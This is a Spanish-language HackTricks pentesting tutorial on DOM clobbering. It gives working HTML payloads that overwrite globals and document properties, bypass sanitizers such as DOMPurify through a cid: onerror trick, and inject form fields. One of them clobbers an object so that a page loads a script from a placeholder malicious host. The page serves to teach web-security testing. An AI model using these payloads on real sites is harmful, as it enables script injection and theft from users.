hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

217 lines
13 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **Conceptos básicos**
Es posible generar **variables globales dentro del contexto JS** con los atributos **`id`** y **`name`** en las etiquetas HTML.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Solo** ciertos elementos pueden usar el atributo **name** para clobber globals, son: `embed`, `form`, `iframe`, `image`, `img` y `object`.
Curiosamente, cuando usas un **elemento de formulario** para **clobber** una variable, obtendrás el valor de **`toString`** del propio elemento: `[object HTMLFormElement]` pero con el **ancla** el **`toString`** será el **`href`** del ancla. Por lo tanto, si clobberizas usando la etiqueta **`a`**, puedes **controlar** el **valor** cuando se **trata como una cadena**:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Arrays & Attributes
También es posible **sobrescribir un array** y **atributos de un objeto**:
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Para sobrescribir **un tercer atributo** (por ejemplo, x.y.z), necesitas usar un **`form`**:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
Sobrescribir más atributos es **más complicado pero aún posible**, utilizando iframes:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
La etiqueta de estilo se utiliza para **dar suficiente tiempo al iframe para renderizar**. Sin ella, verás una alerta de **indefinido**.
{% endhint %}
Para sobrescribir atributos más profundos, puedes usar **iframes con codificación html** de esta manera:
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **Burlando Filtros**
Si un filtro está **recorriendo** las **propiedades** de un nodo usando algo como `document.getElementByID('x').attributes`, podrías **sobrescribir** la propiedad **`.attributes`** y **romper el filtro**. Otras propiedades del DOM como **`tagName`**, **`nodeName`** o **`parentNode`** y más también son **sobrescribibles**.
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Sobrescribiendo `window.someObject`**
En JavaScript es común encontrar:
```javascript
var someObject = window.someObject || {};
```
Manipular HTML en la página permite sobrescribir `someObject` con un nodo DOM, potencialmente introduciendo vulnerabilidades de seguridad. Por ejemplo, puedes reemplazar `someObject` con un elemento de anclaje apuntando a un script malicioso:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
En un código vulnerable como:
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
Este método explota la fuente del script para ejecutar código no deseado.
**Truco**: **`DOMPurify`** te permite usar el protocolo **`cid:`**, que **no codifica en URL las comillas dobles**. Esto significa que puedes **inyectar una comilla doble codificada que se decodificará en tiempo de ejecución**. Por lo tanto, inyectar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** hará que la comilla HTML codificada `&quot;` sea **decodificada en tiempo de ejecución** y **escapará** del valor del atributo para **crear** el evento **`onerror`**.
Otra técnica utiliza un elemento **`form`**. Algunas bibliotecas del lado del cliente inspeccionan los atributos de un elemento de formulario recién creado para limpiarlos. Sin embargo, al agregar un `input` con `id=attributes` dentro del formulario, sobrescribes efectivamente la propiedad de atributos, evitando que el sanitizador acceda a los atributos reales.
Puedes [**encontrar un ejemplo de este tipo de clobbering en este informe de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Sobrescribiendo el objeto documento
Según la documentación, es posible sobrescribir atributos del objeto documento utilizando el DOM Clobbering:
> La interfaz [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [admite propiedades con nombre](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los [nombres de propiedad admitidos](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de un objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) según el elemento que los contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes de valores de atributos de nombre cuando el mismo elemento contribuye ambos:
>
> \- El valor del atributo de contenido de nombre para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) y elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido de nombre no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que tienen tanto un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío como un atributo de contenido de nombre no vacío, y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root).
Utilizando esta técnica, puedes sobrescribir valores comúnmente utilizados como `document.cookie`, `document.body`, `document.children` e incluso métodos en la interfaz Document como `document.querySelector`.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Escribiendo después del elemento clobbered
Los resultados de las llamadas a **`document.getElementById()`** y **`document.querySelector()`** pueden ser alterados al inyectar una etiqueta `<html>` o `<body>` con un atributo de id idéntico. Así es como se puede hacer:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
Además, al emplear estilos para ocultar estas etiquetas HTML/body inyectadas, se puede evitar la interferencia de otros textos en el `innerText`, mejorando así la eficacia del ataque:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Investigaciones sobre SVG revelaron que una etiqueta `<body>` también puede ser utilizada de manera efectiva:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Para que la etiqueta HTML funcione dentro de SVG en navegadores como Chrome y Firefox, es necesario usar la etiqueta `<foreignobject>`:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
## Sobrescribiendo Formularios
Es posible agregar **nuevas entradas dentro de un formulario** simplemente especificando el atributo `form` dentro de algunas etiquetas. Puedes usar esto para **añadir nuevos valores dentro de un formulario** e incluso agregar un nuevo **botón** para **enviarlo** (clickjacking o abusando de algún código JS `.click()`):
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
* Para obtener más atributos de formulario en [**botón, consulte esto**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Referencias
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript para hackers: Aprende a pensar como un hacker.
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>